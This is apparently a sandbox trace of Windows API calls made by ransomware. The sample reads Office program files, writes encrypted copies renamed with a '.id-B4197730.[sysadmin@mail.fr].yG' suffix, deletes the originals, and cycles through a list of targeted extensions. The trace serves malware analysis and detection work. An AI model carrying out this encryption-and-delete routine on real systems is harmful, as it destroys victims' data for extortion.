	[0049.504] lstrlenW (lpString=".xlsx") returned 5
	[0049.504] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0049.504] lstrlenW (lpString=".ppt") returned 4
	[0049.504] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0049.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0049.504] lstrlenW (lpString=".zip") returned 4
	[0049.504] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0049.504] lstrlenW (lpString=".rar") returned 4
	[0049.504] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0049.504] lstrlenW (lpString=".bz2") returned 4
	[0049.504] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0049.504] lstrlenW (lpString=".7z") returned 3
	[0049.504] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0049.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0049.504] lstrlenW (lpString=".dbf") returned 4
	[0049.504] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0049.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0049.504] lstrlenW (lpString=".1cd") returned 4
	[0049.504] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0049.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0049.504] lstrlenW (lpString=".jpg") returned 4
	[0049.504] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0049.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0049.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0049.505] lstrlenW (lpString=".doc") returned 4
	[0049.505] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0049.505] lstrlenW (lpString=".docx") returned 5
	[0049.505] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0049.505] lstrlenW (lpString=".pdf") returned 4
	[0049.505] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0049.505] lstrlenW (lpString=".xls") returned 4
	[0049.505] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0049.505] lstrlenW (lpString=".xlsx") returned 5
	[0049.505] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0049.505] lstrlenW (lpString=".ppt") returned 4
	[0049.505] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0049.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0049.505] lstrlenW (lpString=".zip") returned 4
	[0049.505] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0049.505] lstrlenW (lpString=".rar") returned 4
	[0049.505] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0049.505] lstrlenW (lpString=".bz2") returned 4
	[0049.505] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0049.505] lstrlenW (lpString=".7z") returned 3
	[0049.505] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0049.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0049.505] lstrlenW (lpString=".dbf") returned 4
	[0049.505] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0049.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0049.505] lstrlenW (lpString=".1cd") returned 4
	[0049.505] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0049.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0049.506] lstrlenW (lpString=".jpg") returned 4
	[0049.506] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0049.506] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0049.506] lstrlenW (lpString="AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 53
	[0049.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0049.506] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=1124942) returned 1
	[0049.507] CloseHandle (hObject=0x394) returned 1
	[0049.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0049.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0049.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0049.507] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.507] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0049.507] GetLastError () returned 0x0
	[0049.507] ReadFile (in: hFile=0x394, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0049.760] WriteFile (in: hFile=0x2e0, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0049.773] ReadFile (in: hFile=0x394, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x12a5e, lpOverlapped=0x0) returned 1
	[0050.537] WriteFile (in: hFile=0x2e0, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x12a60, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x12a60, lpOverlapped=0x0) returned 1
	[0050.541] ReadFile (in: hFile=0x394, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.541] WriteFile (in: hFile=0x2e0, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0050.541] SetEndOfFile (hFile=0x2e0) returned 1
	[0050.541] CloseHandle (hObject=0x2e0) returned 1
	[0050.560] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.560] SetEndOfFile (hFile=0x394) returned 1
	[0050.562] CloseHandle (hObject=0x394) returned 1
	[0050.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0050.562] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 1
	[0050.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0050.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0050.563] lstrlenW (lpString=".doc") returned 4
	[0050.563] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.563] lstrlenW (lpString=".docx") returned 5
	[0050.563] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.563] lstrlenW (lpString=".pdf") returned 4
	[0050.563] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.563] lstrlenW (lpString=".xls") returned 4
	[0050.563] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.563] lstrlenW (lpString=".xlsx") returned 5
	[0050.563] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.563] lstrlenW (lpString=".ppt") returned 4
	[0050.563] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0050.563] lstrlenW (lpString=".zip") returned 4
	[0050.563] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.563] lstrlenW (lpString=".rar") returned 4
	[0050.563] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.563] lstrlenW (lpString=".bz2") returned 4
	[0050.563] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.563] lstrlenW (lpString=".7z") returned 3
	[0050.563] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0050.563] lstrlenW (lpString=".dbf") returned 4
	[0050.563] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0050.563] lstrlenW (lpString=".1cd") returned 4
	[0050.563] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0050.563] lstrlenW (lpString=".jpg") returned 4
	[0050.564] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0050.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0050.564] lstrlenW (lpString=".doc") returned 4
	[0050.564] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.564] lstrlenW (lpString=".docx") returned 5
	[0050.564] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.564] lstrlenW (lpString=".pdf") returned 4
	[0050.564] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.564] lstrlenW (lpString=".xls") returned 4
	[0050.564] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.564] lstrlenW (lpString=".xlsx") returned 5
	[0050.564] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.564] lstrlenW (lpString=".ppt") returned 4
	[0050.564] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0050.564] lstrlenW (lpString=".zip") returned 4
	[0050.564] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.564] lstrlenW (lpString=".rar") returned 4
	[0050.564] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.564] lstrlenW (lpString=".bz2") returned 4
	[0050.564] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.564] lstrlenW (lpString=".7z") returned 3
	[0050.564] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0050.564] lstrlenW (lpString=".dbf") returned 4
	[0050.564] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0050.564] lstrlenW (lpString=".1cd") returned 4
	[0050.564] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0050.564] lstrlenW (lpString=".jpg") returned 4
	[0050.564] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.565] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0050.565] lstrlenW (lpString="AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 53
	[0050.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0050.565] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=65002) returned 1
	[0050.565] CloseHandle (hObject=0x394) returned 1
	[0050.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0050.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0050.565] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.565] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0050.566] GetLastError () returned 0x0
	[0050.566] ReadFile (in: hFile=0x394, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0xfdea, lpOverlapped=0x0) returned 1
	[0050.568] WriteFile (in: hFile=0x2e0, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xfdf0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xfdf0, lpOverlapped=0x0) returned 1
	[0050.570] ReadFile (in: hFile=0x394, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.570] WriteFile (in: hFile=0x2e0, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0050.570] SetEndOfFile (hFile=0x2e0) returned 1
	[0051.542] CloseHandle (hObject=0x2e0) returned 1
	[0051.544] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.544] SetEndOfFile (hFile=0x394) returned 1
	[0051.545] CloseHandle (hObject=0x394) returned 1
	[0051.545] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0051.545] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 1
	[0051.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0051.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0051.545] lstrlenW (lpString=".doc") returned 4
	[0051.545] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0051.545] lstrlenW (lpString=".docx") returned 5
	[0051.545] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0051.545] lstrlenW (lpString=".pdf") returned 4
	[0051.546] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0051.546] lstrlenW (lpString=".xls") returned 4
	[0051.546] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0051.546] lstrlenW (lpString=".xlsx") returned 5
	[0051.546] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0051.546] lstrlenW (lpString=".ppt") returned 4
	[0051.546] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0051.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0051.546] lstrlenW (lpString=".zip") returned 4
	[0051.546] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0051.546] lstrlenW (lpString=".rar") returned 4
	[0051.547] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0051.547] lstrlenW (lpString=".bz2") returned 4
	[0051.547] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0051.547] lstrlenW (lpString=".7z") returned 3
	[0051.547] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0051.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0051.547] lstrlenW (lpString=".dbf") returned 4
	[0051.547] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0051.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0051.547] lstrlenW (lpString=".1cd") returned 4
	[0051.547] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0051.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0051.547] lstrlenW (lpString=".jpg") returned 4
	[0051.547] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0051.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0051.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0051.547] lstrlenW (lpString=".doc") returned 4
	[0051.547] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0051.547] lstrlenW (lpString=".docx") returned 5
	[0051.547] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0051.547] lstrlenW (lpString=".pdf") returned 4
	[0051.547] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0051.547] lstrlenW (lpString=".xls") returned 4
	[0051.547] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0051.547] lstrlenW (lpString=".xlsx") returned 5
	[0051.547] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0051.547] lstrlenW (lpString=".ppt") returned 4
	[0051.548] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0051.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0051.548] lstrlenW (lpString=".zip") returned 4
	[0051.548] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0051.548] lstrlenW (lpString=".rar") returned 4
	[0051.548] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0051.548] lstrlenW (lpString=".bz2") returned 4
	[0051.548] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0051.548] lstrlenW (lpString=".7z") returned 3
	[0051.548] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0051.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0051.548] lstrlenW (lpString=".dbf") returned 4
	[0051.548] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0051.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0051.548] lstrlenW (lpString=".1cd") returned 4
	[0051.548] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0051.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0051.548] lstrlenW (lpString=".jpg") returned 4
	[0051.548] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0051.548] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0051.548] lstrlenW (lpString="AG00011_.GIF") returned 12
	[0051.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0051.549] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=7216) returned 1
	[0051.549] CloseHandle (hObject=0x394) returned 1
	[0051.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif")) returned 0x220
	[0051.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0051.549] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.549] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0051.550] GetLastError () returned 0x0
	[0051.550] ReadFile (in: hFile=0x394, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x1c30, lpOverlapped=0x0) returned 1
	[0051.570] WriteFile (in: hFile=0x2e0, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x1c40, lpOverlapped=0x0) returned 1
